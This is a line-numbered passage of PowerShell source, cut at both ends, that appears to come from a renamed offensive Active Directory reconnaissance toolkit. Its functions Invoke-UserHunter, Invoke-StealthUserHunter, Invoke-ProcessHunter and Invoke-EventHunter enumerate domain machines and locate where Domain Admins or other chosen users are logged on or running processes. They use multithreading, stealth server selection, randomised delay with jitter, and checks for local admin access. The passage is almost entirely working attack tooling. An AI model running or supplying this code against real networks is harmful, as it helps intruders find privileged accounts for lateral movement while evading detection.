6161 } | ForEach-Object {
6162
6163 if((-not $CheckWriteAccess) -or (Invoke-CheckWrite -Path $_.FullName)) {$_}
6164 } | Select-Object FullName,@{Name='Owner';Expression={(Get-Acl $_.FullName).Owner}},LastAccessTime,LastWriteTime,CreationTime,Length | ForEach-Object {
6165
6166 if($OutFile) {Export-ShaiViewCSV -InputObject $_ -OutFile $OutFile}
6167 else {$_}
6168 }
6169 }
6170
6171 end {
6172 if($UsePSDrive -and $RandDrive) {
6173 Write-Verbose "Removing temp PSDrive $RandDrive"
6174 Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
6175 }
6176 }
6177}
6178
6179
6180
6181
6182function Invoke-ThreadedFunction {
6183
6184 [CmdletBinding()]
6185 param(
6186 [Parameter(Position=0,Mandatory=$True)]
6187 [String[]]
6188 $ComputerName,
6189
6190 [Parameter(Position=1,Mandatory=$True)]
6191 [System.Management.Automation.ScriptBlock]
6192 $ScriptBlock,
6193
6194 [Parameter(Position=2)]
6195 [Hashtable]
6196 $ScriptParameters,
6197
6198 [Int]
6199 [ValidateRange(1,100)]
6200 $Threads = 20,
6201
6202 [Switch]
6203 $NoImports
6204 )
6205
6206 begin {
6207
6208 if ($PSBoundParameters['Debug']) {
6209 $DebugPreference = 'Continue'
6210 }
6211
6212 Write-Verbose "[*] Total number of hosts: $($ComputerName.count)"
6213
6214
6215
6216 $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
6217 $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
6218
6219
6220
6221 if(!$NoImports) {
6222
6223
6224 $MyVars = Get-Variable -Scope 2
6225
6226
6227 $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true")
6228
6229
6230 ForEach($Var in $MyVars) {
6231 if($VorbiddenVars -NotContains $Var.Name) {
6232 $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
6233 }
6234 }
6235
6236
6237 ForEach($Function in (Get-ChildItem Function:)) {
6238 $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))
6239 }
6240 }
6241
6242
6243
6244
6245
6246
6247 $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
6248 $Pool.Open()
6249
6250 $method = $null
6251 ForEach ($m in [PowerShell].GetMethods() | Where-Object { $_.Name -eq "BeginInvoke" }) {
6252 $methodParameters = $m.GetParameters()
6253 if (($methodParameters.Count -eq 2) -and $methodParameters[0].Name -eq "input" -and $methodParameters[1].Name -eq "output") {
6254 $method = $m.MakeGenericMethod([Object], [Object])
6255 break
6256 }
6257 }
6258
6259 $Jobs = @()
6260 }
6261
6262 process {
6263
6264 ForEach ($Computer in $ComputerName) {
6265
6266
6267 if ($Computer -ne '') {
6268
6269
6270 While ($($Pool.GetAvailableRunspaces()) -le 0) {
6271 Start-Sleep -MilliSeconds 500
6272 }
6273
6274
6275 $p = [powershell]::create()
6276
6277 $p.runspacepool = $Pool
6278
6279
6280 $Null = $p.AddScript($ScriptBlock).AddParameter('ComputerName', $Computer)
6281 if($ScriptParameters) {
6282 ForEach ($Param in $ScriptParameters.GetEnumerator()) {
6283 $Null = $p.AddParameter($Param.Name, $Param.Value)
6284 }
6285 }
6286
6287 $o = New-Object Management.Automation.PSDataCollection[Object]
6288
6289 $Jobs += @{
6290 PS = $p
6291 Output = $o
6292 Result = $method.Invoke($p, @($null, [Management.Automation.PSDataCollection[Object]]$o))
6293 }
6294 }
6295 }
6296 }
6297
6298 end {
6299 Write-Verbose "Waiting for threads to finish..."
6300
6301 Do {
6302 ForEach ($Job in $Jobs) {
6303 $Job.Output.ReadAll()
6304 }
6305 } While (($Jobs | Where-Object { ! $_.Result.IsCompleted }).Count -gt 0)
6306
6307 ForEach ($Job in $Jobs) {
6308 $Job.PS.Dispose()
6309 }
6310
6311 $Pool.Dispose()
6312 Write-Verbose "All threads completed!"
6313 }
6314}
6315
6316
6317function Invoke-UserHunter {
6318
6319
6320 [CmdletBinding()]
6321 param(
6322 [Parameter(Position=0,ValueFromPipeline=$True)]
6323 [Alias('Hosts')]
6324 [String[]]
6325 $ComputerName,
6326
6327 [ValidateScript({Test-Path -Path $_ })]
6328 [Alias('HostList')]
6329 [String]
6330 $ComputerFile,
6331
6332 [String]
6333 $ComputerFilter,
6334
6335 [String]
6336 $ComputerADSpath,
6337
6338 [Switch]
6339 $Unconstrained,
6340
6341 [String]
6342 $GroupName = 'Domain Admins',
6343
6344 [String]
6345 $TargetServer,
6346
6347 [String]
6348 $UserName,
6349
6350 [String]
6351 $UserFilter,
6352
6353 [String]
6354 $UserADSpath,
6355
6356 [ValidateScript({Test-Path -Path $_ })]
6357 [String]
6358 $UserFile,
6359
6360 [Switch]
6361 $AdminCount,
6362
6363 [Switch]
6364 $AllowDelegation,
6365
6366 [Switch]
6367 $CheckAccess,
6368
6369 [Switch]
6370 $StopOnSuccess,
6371
6372 [Switch]
6373 $NoPing,
6374
6375 [UInt32]
6376 $Delay = 0,
6377
6378 [Double]
6379 $Jitter = .3,
6380
6381 [String]
6382 $Domain,
6383
6384 [String]
6385 $DomainController,
6386
6387 [Switch]
6388 $ShowAll,
6389
6390 [Switch]
6391 $SearchForest,
6392
6393 [Switch]
6394 $Stealth,
6395
6396 [String]
6397 [ValidateSet("DFS","DC","File","All")]
6398 $StealthSource ="All",
6399
6400 [Switch]
6401 $ForeignUsers,
6402
6403 [Int]
6404 [ValidateRange(1,100)]
6405 $Threads,
6406
6407 [UInt32]
6408 $Poll = 0
6409 )
6410
6411 begin {
6412
6413 if ($PSBoundParameters['Debug']) {
6414 $DebugPreference = 'Continue'
6415 }
6416
6417 Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay"
6418
6419
6420
6421
6422
6423
6424
6425 if($ComputerFile) {
6426
6427 $ComputerName = Get-Content -Path $ComputerFile
6428 }
6429
6430 if(!$ComputerName) {
6431 [Array]$ComputerName = @()
6432
6433 if($Domain) {
6434 $TargetDomains = @($Domain)
6435 }
6436 elseif($SearchForest) {
6437
6438 $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
6439 }
6440 else {
6441
6442 $TargetDomains = @( (Get-NetDomain).name )
6443 }
6444
6445 if($Stealth) {
6446 Write-Verbose "Stealth mode! Enumerating commonly used servers"
6447 Write-Verbose "Stealth source: $StealthSource"
6448
6449 ForEach ($Domain in $TargetDomains) {
6450 if (($StealthSource -eq "File") -or ($StealthSource -eq "All")) {
6451 Write-Verbose "[*] Querying domain $Domain for File Servers..."
6452 $ComputerName += Get-NetFileServer -Domain $Domain -DomainController $DomainController
6453 }
6454 if (($StealthSource -eq "DFS") -or ($StealthSource -eq "All")) {
6455 Write-Verbose "[*] Querying domain $Domain for DFS Servers..."
6456 $ComputerName += Get-DFSshare -Domain $Domain -DomainController $DomainController | ForEach-Object {$_.RemoteServerName}
6457 }
6458 if (($StealthSource -eq "DC") -or ($StealthSource -eq "All")) {
6459 Write-Verbose "[*] Querying domain $Domain for Domain Controllers..."
6460 $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname}
6461 }
6462 }
6463 }
6464 else {
6465 ForEach ($Domain in $TargetDomains) {
6466 Write-Verbose "[*] Querying domain $Domain for hosts"
6467
6468 $Arguments = @{
6469 'Domain' = $Domain
6470 'DomainController' = $DomainController
6471 'ADSpath' = $ADSpath
6472 'Filter' = $ComputerFilter
6473 'Unconstrained' = $Unconstrained
6474 }
6475
6476 $ComputerName += Get-NetComputer @Arguments
6477 }
6478 }
6479
6480
6481 $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
6482 if($($ComputerName.Count) -eq 0) {
6483 throw "No hosts found!"
6484 }
6485 }
6486
6487 if ($Poll -gt 0) {
6488 Write-Verbose "[*] Polling for $Poll seconds. Automatically enabling threaded mode."
6489 if ($ComputerName.Count -gt 100) {
6490 throw "Too many hosts to poll! Try fewer than 100."
6491 }
6492 $Threads = $ComputerName.Count
6493 }
6494
6495
6496
6497
6498
6499
6500
6501
6502 $TargetUsers = @()
6503
6504
6505 $CurrentUser = ([Environment]::UserName).toLower()
6506
6507
6508 if($ShowAll -or $ForeignUsers) {
6509 $User = New-Object PSObject
6510 $User | Add-Member Noteproperty 'MemberDomain' $Null
6511 $User | Add-Member Noteproperty 'MemberName' '*'
6512 $TargetUsers = @($User)
6513
6514 if($ForeignUsers) {
6515
6516 $krbtgtName = Convert-ADName -ObjectName "krbtgt@$($Domain)" -InputType Simple -OutputType NT4
6517 $DomainShortName = $krbtgtName.split("\")[0]
6518 }
6519 }
6520
6521 elseif($TargetServer) {
6522 Write-Verbose "Querying target server '$TargetServer' for local users"
6523 $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {
6524 $User = New-Object PSObject
6525 $User | Add-Member Noteproperty 'MemberDomain' ($_.AccountName).split("/")[0].toLower()
6526 $User | Add-Member Noteproperty 'MemberName' ($_.AccountName).split("/")[1].toLower()
6527 $User
6528 } | Where-Object {$_}
6529 }
6530
6531 elseif($UserName) {
6532 Write-Verbose "[*] Using target user '$UserName'..."
6533 $User = New-Object PSObject
6534 if($TargetDomains) {
6535 $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0]
6536 }
6537 else {
6538 $User | Add-Member Noteproperty 'MemberDomain' $Null
6539 }
6540 $User | Add-Member Noteproperty 'MemberName' $UserName.ToLower()
6541 $TargetUsers = @($User)
6542 }
6543
6544 elseif($UserFile) {
6545 $TargetUsers = Get-Content -Path $UserFile | ForEach-Object {
6546 $User = New-Object PSObject
6547 if($TargetDomains) {
6548 $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0]
6549 }
6550 else {
6551 $User | Add-Member Noteproperty 'MemberDomain' $Null
6552 }
6553 $User | Add-Member Noteproperty 'MemberName' $_
6554 $User
6555 } | Where-Object {$_}
6556 }
6557 elseif($UserADSpath -or $UserFilter -or $AdminCount) {
6558 ForEach ($Domain in $TargetDomains) {
6559
6560 $Arguments = @{
6561 'Domain' = $Domain
6562 'DomainController' = $DomainController
6563 'ADSpath' = $UserADSpath
6564 'Filter' = $UserFilter
6565 'AdminCount' = $AdminCount
6566 'AllowDelegation' = $AllowDelegation
6567 }
6568
6569 Write-Verbose "[*] Querying domain $Domain for users"
6570 $TargetUsers += Get-NetUser @Arguments | ForEach-Object {
6571 $User = New-Object PSObject
6572 $User | Add-Member Noteproperty 'MemberDomain' $Domain
6573 $User | Add-Member Noteproperty 'MemberName' $_.samaccountname
6574 $User
6575 } | Where-Object {$_}
6576
6577 }
6578 }
6579 else {
6580 ForEach ($Domain in $TargetDomains) {
6581 Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
6582 $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController
6583 }
6584 }
6585
6586 if (( (-not $ShowAll) -and (-not $ForeignUsers) ) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {
6587 throw "[!] No users found to search for!"
6588 }
6589
6590
6591 $HostEnumBlock = {
6592 param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, $Poll, $Delay, $Jitter)
6593
6594
6595 $Up = $True
6596 if($Ping) {
6597 $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
6598 }
6599 if($Up) {
6600 $Timer = [System.Diagnostics.Stopwatch]::StartNew()
6601 $RandNo = New-Object System.Random
6602
6603 Do {
6604 if(!$DomainShortName) {
6605
6606 $Sessions = Get-NetSession -ComputerName $ComputerName
6607 ForEach ($Session in $Sessions) {
6608 $UserName = $Session.sesi10_username
6609 $CName = $Session.sesi10_cname
6610
6611 if($CName -and $CName.StartsWith("\\")) {
6612 $CName = $CName.TrimStart("\")
6613 }
6614
6615
6616 if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) {
6617
6618 $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object {
6619
6620 $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress
6621 $FoundUser = New-Object PSObject
6622 $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain
6623 $FoundUser | Add-Member Noteproperty 'UserName' $UserName
6624 $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName
6625 $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
6626 $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName
6627
6628
6629 try {
6630 $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
6631 $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName
6632 }
6633 catch {
6634 $FoundUser | Add-Member NoteProperty 'SessionFromName' $Null
6635 }
6636
6637
6638 if ($CheckAccess) {
6639 $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName
6640 $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
6641 }
6642 else {
6643 $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null
6644 }
6645 $FoundUser.PSObject.TypeNames.Add('ShaiView.UserSession')
6646 $FoundUser
6647 }
6648 }
6649 }
6650 }
6651 if(!$Stealth) {
6652
6653 $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName
6654 ForEach ($User in $LoggedOn) {
6655 $UserName = $User.wkui1_username
6656
6657
6658 $UserDomain = $User.wkui1_logon_domain
6659
6660
6661 if (($UserName) -and ($UserName.trim() -ne '')) {
6662
6663 $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object {
6664
6665 $Proceed = $True
6666 if($DomainShortName) {
6667 if ($DomainShortName.ToLower() -ne $UserDomain.ToLower()) {
6668 $Proceed = $True
6669 }
6670 else {
6671 $Proceed = $False
6672 }
6673 }
6674 if($Proceed) {
6675 $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress
6676 $FoundUser = New-Object PSObject
6677 $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain
6678 $FoundUser | Add-Member Noteproperty 'UserName' $UserName
6679 $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName
6680 $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
6681 $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null
6682 $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null
6683
6684
6685 if ($CheckAccess) {
6686 $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName
6687 $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
6688 }
6689 else {
6690 $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null
6691 }
6692 $FoundUser.PSObject.TypeNames.Add('ShaiView.UserSession')
6693 $FoundUser
6694 }
6695 }
6696 }
6697 }
6698 }
6699
6700 if ($Poll -gt 0) {
6701 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
6702 }
6703 } While ($Poll -gt 0 -and $Timer.Elapsed.TotalSeconds -lt $Poll)
6704 }
6705 }
6706 }
6707
6708 process {
6709
6710 if($Threads) {
6711 Write-Verbose "Using threading with threads = $Threads"
6712
6713
6714 $ScriptParams = @{
6715 'Ping' = $(-not $NoPing)
6716 'TargetUsers' = $TargetUsers
6717 'CurrentUser' = $CurrentUser
6718 'Stealth' = $Stealth
6719 'DomainShortName' = $DomainShortName
6720 'Poll' = $Poll
6721 'Delay' = $Delay
6722 'Jitter' = $Jitter
6723 }
6724
6725
6726 Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
6727 }
6728
6729 else {
6730 if(-not $NoPing -and ($ComputerName.count -ne 1)) {
6731
6732 $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
6733 $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
6734 }
6735
6736 Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
6737 $Counter = 0
6738 $RandNo = New-Object System.Random
6739
6740 ForEach ($Computer in $ComputerName) {
6741
6742 $Counter = $Counter + 1
6743
6744
6745 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
6746
6747 Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
6748 $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, 0, 0, 0
6749 $Result
6750
6751 if($Result -and $StopOnSuccess) {
6752 Write-Verbose "[*] Target user found, returning early"
6753 return
6754 }
6755 }
6756 }
6757
6758 }
6759}
6760
6761
6762function Invoke-StealthUserHunter {
6763 [CmdletBinding()]
6764 param(
6765 [Parameter(Position=0,ValueFromPipeline=$True)]
6766 [Alias('Hosts')]
6767 [String[]]
6768 $ComputerName,
6769
6770 [ValidateScript({Test-Path -Path $_ })]
6771 [Alias('HostList')]
6772 [String]
6773 $ComputerFile,
6774
6775 [String]
6776 $ComputerFilter,
6777
6778 [String]
6779 $ComputerADSpath,
6780
6781 [String]
6782 $GroupName = 'Domain Admins',
6783
6784 [String]
6785 $TargetServer,
6786
6787 [String]
6788 $UserName,
6789
6790 [String]
6791 $UserFilter,
6792
6793 [String]
6794 $UserADSpath,
6795
6796 [ValidateScript({Test-Path -Path $_ })]
6797 [String]
6798 $UserFile,
6799
6800 [Switch]
6801 $CheckAccess,
6802
6803 [Switch]
6804 $StopOnSuccess,
6805
6806 [Switch]
6807 $NoPing,
6808
6809 [UInt32]
6810 $Delay = 0,
6811
6812 [Double]
6813 $Jitter = .3,
6814
6815 [String]
6816 $Domain,
6817
6818 [Switch]
6819 $ShowAll,
6820
6821 [Switch]
6822 $SearchForest,
6823
6824 [String]
6825 [ValidateSet("DFS","DC","File","All")]
6826 $StealthSource ="All"
6827 )
6828
6829 Invoke-UserHunter -Stealth @PSBoundParameters
6830}
6831
6832
6833function Invoke-ProcessHunter {
6834
6835
6836 [CmdletBinding()]
6837 param(
6838 [Parameter(Position=0,ValueFromPipeline=$True)]
6839 [Alias('Hosts')]
6840 [String[]]
6841 $ComputerName,
6842
6843 [ValidateScript({Test-Path -Path $_ })]
6844 [Alias('HostList')]
6845 [String]
6846 $ComputerFile,
6847
6848 [String]
6849 $ComputerFilter,
6850
6851 [String]
6852 $ComputerADSpath,
6853
6854 [String]
6855 $ProcessName,
6856
6857 [String]
6858 $GroupName = 'Domain Admins',
6859
6860 [String]
6861 $TargetServer,
6862
6863 [String]
6864 $UserName,
6865
6866 [String]
6867 $UserFilter,
6868
6869 [String]
6870 $UserADSpath,
6871
6872 [ValidateScript({Test-Path -Path $_ })]
6873 [String]
6874 $UserFile,
6875
6876 [Switch]
6877 $StopOnSuccess,
6878
6879 [Switch]
6880 $NoPing,
6881
6882 [UInt32]
6883 $Delay = 0,
6884
6885 [Double]
6886 $Jitter = .3,
6887
6888 [String]
6889 $Domain,
6890
6891 [String]
6892 $DomainController,
6893
6894 [Switch]
6895 $ShowAll,
6896
6897 [Switch]
6898 $SearchForest,
6899
6900 [ValidateRange(1,100)]
6901 [Int]
6902 $Threads,
6903
6904 [Management.Automation.PSCredential]
6905 $Credential
6906 )
6907
6908 begin {
6909
6910 if ($PSBoundParameters['Debug']) {
6911 $DebugPreference = 'Continue'
6912 }
6913
6914
6915 $RandNo = New-Object System.Random
6916
6917 Write-Verbose "[*] Running Invoke-ProcessHunter with delay of $Delay"
6918
6919
6920
6921 if($ComputerFile) {
6922 $ComputerName = Get-Content -Path $ComputerFile
6923 }
6924
6925 if(!$ComputerName) {
6926 [array]$ComputerName = @()
6927
6928 if($Domain) {
6929 $TargetDomains = @($Domain)
6930 }
6931 elseif($SearchForest) {
6932
6933 $TargetDomains = Get-NetForestDomain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.Name }
6934 }
6935 else {
6936
6937 $TargetDomains = @( (Get-NetDomain -Domain $Domain -Credential $Credential).name )
6938 }
6939
6940 ForEach ($Domain in $TargetDomains) {
6941 Write-Verbose "[*] Querying domain $Domain for hosts"
6942 $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath
6943 }
6944
6945
6946 $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
6947 if($($ComputerName.Count) -eq 0) {
6948 throw "No hosts found!"
6949 }
6950 }
6951
6952 if(!$ProcessName) {
6953 Write-Verbose "No process name specified, building a target user set"
6954
6955
6956 $TargetUsers = @()
6957
6958
6959 if($TargetServer) {
6960 Write-Verbose "Querying target server '$TargetServer' for local users"
6961 $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {
6962 ($_.AccountName).split("/")[1].toLower()
6963 } | Where-Object {$_}
6964 }
6965
6966 elseif($UserName) {
6967 Write-Verbose "[*] Using target user '$UserName'..."
6968 $TargetUsers = @( $UserName.ToLower() )
6969 }
6970
6971 elseif($UserFile) {
6972 $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_}
6973 }
6974 elseif($UserADSpath -or $UserFilter) {
6975 ForEach ($Domain in $TargetDomains) {
6976 Write-Verbose "[*] Querying domain $Domain for users"
6977 $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {
6978 $_.samaccountname
6979 } | Where-Object {$_}
6980 }
6981 }
6982 else {
6983 ForEach ($Domain in $TargetDomains) {
6984 Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
6985 $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| ForEach-Object {
6986 $_.MemberName
6987 }
6988 }
6989 }
6990
6991 if ((-not $ShowAll) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {
6992 throw "[!] No users found to search for!"
6993 }
6994 }
6995
6996
6997 $HostEnumBlock = {
6998 param($ComputerName, $Ping, $ProcessName, $TargetUsers, $Credential)
6999
7000
7001 $Up = $True
7002 if($Ping) {
7003 $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
7004 }
7005 if($Up) {
7006
7007
7008 $Processes = Get-NetProcess -Credential $Credential -ComputerName $ComputerName -ErrorAction SilentlyContinue
7009
7010 ForEach ($Process in $Processes) {
7011
7012 if($ProcessName) {
7013 $ProcessName.split(",") | ForEach-Object {
7014 if ($Process.ProcessName -match $_) {
7015 $Process
7016 }
7017 }
7018 }
7019
7020 elseif ($TargetUsers -contains $Process.User) {
7021 $Process
7022 }
7023 }
7024 }
7025 }
7026
7027 }
7028
7029 process {
7030
7031 if($Threads) {
7032 Write-Verbose "Using threading with threads = $Threads"
7033
7034
7035 $ScriptParams = @{
7036 'Ping' = $(-not $NoPing)
7037 'ProcessName' = $ProcessName
7038 'TargetUsers' = $TargetUsers
7039 'Credential' = $Credential
7040 }
7041
7042
7043 Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
7044 }
7045
7046 else {
7047 if(-not $NoPing -and ($ComputerName.count -ne 1)) {
7048
7049 $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
7050 $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
7051 }
7052
7053 Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
7054 $Counter = 0
7055
7056 ForEach ($Computer in $ComputerName) {
7057
7058 $Counter = $Counter + 1
7059
7060
7061 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
7062
7063 Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
7064 $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $Credential
7065 $Result
7066
7067 if($Result -and $StopOnSuccess) {
7068 Write-Verbose "[*] Target user/process found, returning early"
7069 return
7070 }
7071 }
7072 }
7073 }
7074}
7075
7076
7077function Invoke-EventHunter {
7078
7079 [CmdletBinding()]
7080 param(
7081 [Parameter(Position=0,ValueFromPipeline=$True)]
7082 [Alias('Hosts')]
7083 [String[]]
7084 $ComputerName,
7085
7086 [ValidateScript({Test-Path -Path $_ })]
7087 [Alias('HostList')]
7088 [String]
7089 $ComputerFile,
7090
7091 [String]
7092 $ComputerFilter,
7093
7094 [String]
7095 $ComputerADSpath,
7096
7097 [String]
7098 $GroupName = 'Domain Admins',
7099
7100 [String]
7101 $TargetServer,
7102
7103 [String[]]
7104 $UserName,
7105
7106 [String]
7107 $UserFilter,
7108
7109 [String]
7110 $UserADSpath,
7111
7112 [ValidateScript({Test-Path -Path $_ })]
7113 [String]
7114 $UserFile,
7115
7116 [String]
7117 $Domain,
7118
7119 [String]
7120 $DomainController,
7121
7122 [Int32]
7123 $SearchDays = 3,
7124
7125 [Switch]
7126 $SearchForest,
7127
7128 [ValidateRange(1,100)]
7129 [Int]
7130 $Threads,
7131
7132 [Management.Automation.PSCredential]
7133 $Credential
7134 )
7135
7136 begin {
7137
7138 if ($PSBoundParameters['Debug']) {
7139 $DebugPreference = 'Continue'
7140 }
7141
7142
7143 $RandNo = New-Object System.Random
7144
7145 Write-Verbose "[*] Running Invoke-EventHunter"
7146
7147 if($Domain) {
7148 $TargetDomains = @($Domain)
7149 }
7150 elseif($SearchForest) {
7151
7152 $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
7153 }
7154 else {
7155
7156 $TargetDomains = @( (Get-NetDomain -Credential $Credential).name )
7157 }
7158
7159
7160 if(!$ComputerName) {
7161
7162 if($ComputerFile) {
7163 $ComputerName = Get-Content -Path $ComputerFile
7164 }
7165 elseif($ComputerFilter -or $ComputerADSpath) {
7166 [array]$ComputerName = @()
7167 ForEach ($Domain in $TargetDomains) {
7168 Write-Verbose "[*] Querying domain $Domain for hosts"
7169 $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath
7170 }
7171 }
7172 else {
7173
7174 [array]$ComputerName = @()
7175 ForEach ($Domain in $TargetDomains) {
7176 Write-Verbose "[*] Querying domain $Domain for domain controllers"
7177 $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.dnshostname}
7178 }
7179 }
7180
7181
7182 $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
7183 if($($ComputerName.Count) -eq 0) {
7184 throw "No hosts found!"
7185 }
7186 }
7187
7188
7189 $TargetUsers = @()
7190
7191
7192 if($TargetServer) {
7193 Write-Verbose "Querying target server '$TargetServer' for local users"
7194 $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {
7195 ($_.AccountName).split("/")[1].toLower()
7196 } | Where-Object {$_}
7197 }
7198
7199 elseif($UserName) {
7200
7201 $TargetUsers = $UserName | ForEach-Object {$_.ToLower()}
7202 if($TargetUsers -isnot [System.Array]) {
7203 $TargetUsers = @($TargetUsers)
7204 }
7205 }
7206
7207 elseif($UserFile) {
7208 $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_}
7209 }
7210 elseif($UserADSpath -or $UserFilter) {
7211 ForEach ($Domain in $TargetDomains) {
7212 Write-Verbose "[*] Querying domain $Domain for users"
7213 $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {
7214 $_.samaccountname
7215 } | Where-Object {$_}
7216 }
7217 }
7218 else {
7219 ForEach ($Domain in $TargetDomains) {
7220 Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
7221 $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object {
7222 $_.MemberName
7223 }
7224 }
7225 }
7226
7227 if (((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {
7228 throw "[!] No users found to search for!"
7229 }
7230
7231
7232 $HostEnumBlock = {
7233 param($ComputerName, $Ping, $TargetUsers, $SearchDays, $Credential)
7234
7235
7236 $Up = $True
7237 if($Ping) {
7238 $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
7239 }
7240 if($Up) {
7241
7242 if($Credential) {
7243 Get-UserEvent -ComputerName $ComputerName -Credential $Credential -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object {
7244
7245 $TargetUsers -contains $_.UserName
7246 }
7247 }
7248 else {
